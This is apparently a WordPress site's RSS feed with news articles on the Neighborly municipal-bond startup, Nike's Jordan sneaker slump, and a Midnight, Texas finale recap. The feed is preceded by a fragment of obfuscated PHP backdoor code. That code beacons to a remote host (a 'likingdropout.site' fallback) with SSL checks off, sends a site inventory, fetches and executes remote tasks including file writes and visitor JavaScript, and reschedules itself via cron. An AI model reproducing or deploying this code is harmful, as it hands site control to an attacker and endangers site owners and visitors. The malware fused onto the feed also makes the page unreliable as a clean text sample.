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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); mojo – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 09 Mar 2018 12:35:53 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png mojo – Brief News https://briefnews.eu 32 32 He's Bringing the Mojo to Big City Planning https://briefnews.eu/hes-bringing-the-mojo-to-big-city-planning/ https://briefnews.eu/hes-bringing-the-mojo-to-big-city-planning/#respond Fri, 09 Mar 2018 12:35:53 +0000 http://briefnews.eu/hes-bringing-the-mojo-to-big-city-planning/ At 3 a.m. on a weeknight, most people are fast asleep. But Jase Wilson is not most people. When his alarm clock hits 3, he’s out of bed in a flash, for a 40-minute guided meditation, a power nap and then 30 minutes of interval training before heading to San Francisco’s Union Square to work on his municipal bonds startup. All this on an empty stomach because he follows an intermittent fasting diet, and he likely won’t eat before midday. “This job has required me to optimize as much as I can,” he says. “To be present and valuable, I include all the little hacks I can do to enhance mental clarity throughout the day.” Considering his work involves wading through the murky waters of fintech and city bureaucracy, he needs all the help he can get.

Here’s the deal. It’s likely that you — or someone you know — complains regularly about that pothole in your street or the lack of good schools in your district. But doing something about it is an onerous process that requires petitioning the council, wrangling budgets and more. Municipal (muni) bonds are one way that people can take back ownership of their cities. They’re a trillion-dollar market, with interest payments generally exempt from federal taxes, and super low default rates. But getting your hands on these bonds — if you’re not in the 1 percent — is tricky, often obfuscated by legalese and provisions. Wilson’s objective is to democratize access to these bonds and simplify investing in your local community. Enter Neighborly, the startup he co-founded in 2012 to provide a modern twist on municipal bonds — a registered broker that helps users fund everything from schools to fire trucks.

He’s breaking the staid fintech mold, bringing a dash of Silicon Valley to an industry dating back to the 1800s.

“I love cities,” says Wilson, 35. “It’s people getting together and building something greater than the sum of the parts.” And for him, it’s personal. Wilson grew up in Maryville, Missouri, population 12,000, and describes himself as an “introvert from a broken home” who found refuge in local parks, there thanks to investment from the city. He pursued a Bachelor of Arts in urban planning and design at the University of Missouri, followed by a master’s in city development at MIT. Accessibility for all has been a sticking point for him: His first company, Luminopolis, provided open-source software for cities. His interest in the muni market sprang from a conversation with trader Patrick Hosty, when they realized that a swath of people had no understanding of a municipal bond, in part because it did not apply to them. Together they founded Neighborly.

“That used to be something that was part of civic life,” Wilson says, referencing landmarks such as the Golden Gate Bridge that were funded with muni bonds. But in contrast to the majority of muni brokers who won’t accept less than a $ 25,000 entry point, Neighborly starts at around $ 1,000 — a low-cost point of entry to attract diverse populations. Wilson’s dream is to scale so the cost drops even lower, say $ 100 for a bond. With current offerings in more than 10 states, the potential for growth is limitless, hence investment in Neighborly to the tune of $ 30 million from the likes of 8VC and Emerson Collective. Current projects you can sign up for include San Francisco County transportation bonds and the Los Angeles wastewater system. The platform excludes funding for services seen as harmful, such as private prisons or tobacco plants, and while Wilson doesn’t dictate how people spend their money, clean energy, broadband and education feature heavily on the site.

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To start, Neighborly ran on a civic-minded Kickstarter format, before it evolved into the muni bond marketplace — necessary, as there was no way to raise sufficient funds on a pure donation-based model. Getting cities on board took a lot of persuasion, and Wilson’s goal is to get every state to use Neighborly for bond offerings. Dressed in a baseball cap and a logo hoodie, he’s breaking the staid fintech mold, bringing a dash of Silicon Valley to an industry dating back to the 1800s. “Market adoption is hard because incumbents dominate, and they don’t want any new offerings,” he says.

Dean Myerow, portfolio manager at Las Olas Wealth Management of NatAlliance Securities, agrees. “Wall Street public finance underwriting is a capital-intensive niche ruled by the likes of Morgan Stanley [et al.], and upending their firm grip on the marketplace will be the challenge,” he says. Myerow also has concerns about whether the platform is robust enough to handle billion-dollar deals. However, he views their millennial reach as a big coup — in 2017, Neighborly was awarded Deal of the Year by Bond Buyer for its work in Cambridge, Massachusetts, where 30 percent of participants were under 40 years old. “Most bond buyers are retirees,” Myerow says. “This platform highlights the possibility of young, socially responsible investors being able to affect change with their investing portfolios.”

In November 2017, Wilson expanded with Neighborly Investments, a platform for bigger fish that includes extra data and AI sifting, and among his design goals is allowing people to purchase bonds with cryptocurrency. On Feb. 7, he announced a partnership with the UC Berkeley Blockchain Lab to develop a first-of-its-kind tokenized municipal bond to address pressing community issues such as homelessness and housing costs.

But building what’s essentially a civic-minded stock market is not without its problems. For one, just because you have the cash doesn’t mean the underwriters will agree, and then there are regulations that can cripple a fledgling company. “I’m always excited to see disruption with regards to data and information transparency,” says Alisande Heriyanto, the Corcoran Group’s director of technical support and services. “I personally like learning about these types of projects and opportunities to invest in, instead of these types of bond investments being shrouded in mystery.” But she cautions that transparency can trigger pushback from people wary of change.

For now, Wilson’s full speed ahead. Last year he says Neighborly did $ 121 million in volume, 20 percent more than estimated. This year he’s hoping for $ 1 billion — and the possibility of breaking into muni markets in other countries. To keep his focus, besides meditation and fasting, he’s reading books that relate. Recently, he reread John Steinbeck’s The Grapes of Wrath. “There’s the swirling clouds of the Dust Bowl,” he says. “I came from there [in a] very different set of circumstances.”

Editor’s note: Emerson Collective, mentioned above as an investor in Neighborly, has also invested in OZY.

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]]> https://briefnews.eu/hes-bringing-the-mojo-to-big-city-planning/feed/ 0 There’s a simple formula that explains how Nike lost its sneaker mojo (NKE) https://briefnews.eu/theres-a-simple-formula-that-explains-how-nike-lost-its-sneaker-mojo-nke/ https://briefnews.eu/theres-a-simple-formula-that-explains-how-nike-lost-its-sneaker-mojo-nke/#respond Sun, 31 Dec 2017 15:19:19 +0000 http://briefnews.eu/theres-a-simple-formula-that-explains-how-nike-lost-its-sneaker-mojo-nke/ JordanGetty/Maja Hitij

  • Nike has had a problem with its Jordan brand recently.
  • There is a simple formula that explains how Nike came to this problem, and how it can fix it.
  • The problem probably can be traced back to decisions made years ago.

 

In 1987, Nike partnered with then-rookie Michael Jordan and released the first Air Jordan, which forever changed the shoe industry. Nike’s crown as king of the sneaker market lasted until just recently when the unthinkable happened and the brand suddenly lost its “cool factor.”

According to Josh Luber, CEO of sneaker reselling site StockX, Nike has lost ground to competitors, like Adidas, in recent years and its decline can be explained by one simple formula.

“In February 2015 — so right before Adidas launched the Yeezy, Adidas was about one percent of the resale market and Nike and Jordan were about 96 percent,” Luber told Jefferies in an analyst Q&A recently. “Since then, fast-forward all the way to today, Adidas is (60, 6-0, percent) of our business in terms of dollars. And Yeezy dominates a lot of that but it’s also Ultra Boost and NMDs.”

Luber told Jefferies analysts that Nike and Jordan’s dominance was based on a simple formula. Making a crazy-popular sneaker is a classic supply and demand problem, with disastrous consequences if you get it wrong. Luber said that the Jordans were so popular for so long because they were hard to get. You couldn’t walk into a store and pick one up at the retail price, so your only option was to go to a reseller who would sell the shoes at a premium.

Nike figured this out early, and for a long time, they would only produce a limited number of the new Jordan shoes to make sure demand outpaced supply. In the last couple of years, Nike got too greedy and produced too many shoes at too high a price point. It was a kiss of death for Nike, Luber said.

He explains it pretty simply like this:

“If demand for a shoe is… 100 units. And Nike makes 96. Well they will sell out 96, no problem. Easy sellout at retail. There will be some secondary markets, there’ll be some premium but it will sell out. But demand for that shoe is 100 and they supply 101, just slightly more, they might sell 70 or 60 or 50 or some number way below 96.

“As soon as you cross that line and there’s no longer greater demand for product than there is supply, even if it’s just nominally, the whole secondary market evaporates. Shoes don’t sell out at retail. And that’s really what happens.”

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The minute Nike produced enough shoes for there to be one extra shoe on the shelf, the shoes weren’t cool anymore. Everyone who wanted to buy the shoe could, and there was still one extra for those who weren’t in the know to pick up, which immediately makes the shoes less cool, according to Luber.

The biggest problem for Nike isn’t overproduction, though, its the shoe production timeline. Luber said that when Nike makes a shoe, its often working as much as two years in advance to allow time for manufacturing. In 2015, when Nike was designing a shoe for 2017, it had no idea that Adidas’s Yeezy line would be a huge competitor. Nike assumed that demand would continue to stay high for Jordans and other shoes, and so it hit that poisonous 101 number and suddenly its Jordan shoes weren’t as elusive or cool.

Nike and Jordan aren’t sitting still though. Luber said that the company knows of this simple supply and demand formula, and is probably working on correcting it.

“So Jordan absolutely understands they need to do less releases, they need to have lower supply across the board and figure out where that sweet spot is. And I do believe that they can recover,” Luber said.

Read more about Nike’s ‘unthinkable’ problem with Jordans here

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]]> https://briefnews.eu/theres-a-simple-formula-that-explains-how-nike-lost-its-sneaker-mojo-nke/feed/ 0 Midnight, Texas Finale: EP Talks Manfred's Mojo, Fiji/Bobo, [Spoiler]'s Surprise Wedding and More https://briefnews.eu/midnight-texas-finale-ep-talks-manfreds-mojo-fijibobo-spoilers-surprise-wedding-and-more/ https://briefnews.eu/midnight-texas-finale-ep-talks-manfreds-mojo-fijibobo-spoilers-surprise-wedding-and-more/#respond Tue, 19 Sep 2017 05:53:39 +0000 http://briefnews.eu/midnight-texas-finale-ep-talks-manfreds-mojo-fijibobo-spoilers-surprise-wedding-and-more/ Warning: This post contains spoilers from Midnight, Texas‘ Season 1 finale.

Midnight, Texas‘ climactic Season 1 finale began with the Midnighters concerned with one veil — the one separating the living from the dead — and ended with them in the presence of another: the one Olivia wore when she wed Lem (!) at the end of the episode.

In between, there was a whole lot of talk about deflowering Fiji, followed by the actual act, which turned out to help save the day. Oh, and Manfred really upped his psychic medium game. Before we get executive producer Monica Owusu-Breen‘s take on the season-ender, how about a really quick recap?

* As Jeremy walked Fiji back to her place, he told her to prepare: The demon Colcannar wanted to have sex with her to bring about the end of the veil, and there’s really no denying that guy. She then realized that “Jeremy” was really just one of the wraiths that had been wreaking havoc in town, and after his touch burned her, he warned her to do as the demon wanted.

Midnight Texas Finale Recap Season 1 Episode 10* The rest of the gang consecrated some weapons and set out to save Fiji. During the fight, a wraith burned Olivia very badly. She, Bobo and Creek took shelter in Fiji’s house. Meanwhile, at the pawn shop, Manfred located some demonically imprinted items and announced his plan to Lem: “I plan to let evil hijack me.” Before he performed the spell, Manfred called Creek to tell her he loved her, and she replied in kind. Then multiple really bad spirits jumped into his body in exchange for the promise of being freed from this realm when everything was over.

* As Demon Manfred (DeMonfred?) faced off with the summoned Colcannar, Bobo shut down Fiji’s plans to kill the demon via sex by suggesting that they make love instead — thereby de-virginizing her and thwarting Colcannar’s agenda. “Don’t tell me you haven’t thought about it,” he says. Fiji says no, admitting that she accidentally killed Jeremy the first and only time she’d been intimate with anyone, but Bobo maintained that he wasn’t afraid of her or her potentially lethal powers. Then they made love, unleashing a wave of power that greatly angered Colcannar.

* And then, while the Rev. and Lem backed him up, DeMonfred shot beams of power from his hands and destroyed Colcannar, and the demons in his body left and went back to hell as the veil re-sealed.

Midnight TExas Finale Recap Season 1 Episode 10* Creek drove Olivia to the hospital, where she hovered near death. But a devastated Lem dripped some of his super-powered vampire blood into her mouth, and she healed instantly. The pair reunited, and they later married with all of their friends — including Chuy, who returned to town — in attendance.

But don’t think that Manfred’s sealing of the veil means all is fine and good — the medium is still bleeding from his ears — and Owusu-Breen reminds viewers that “there is a permeability between worlds” in the quirky little town, “so it’s not over… A Band-Aid’s been put on it.” Read on for more of her thoughts on:

MANFRED’S DEMON LEFTOVERS | “Manfred took an enormous risk doing that,” the EP says. “What does it mean to take on evil, even if you’re doing that for good? I think that’s a question that Manfred, knock on wood, will be exploring next season.”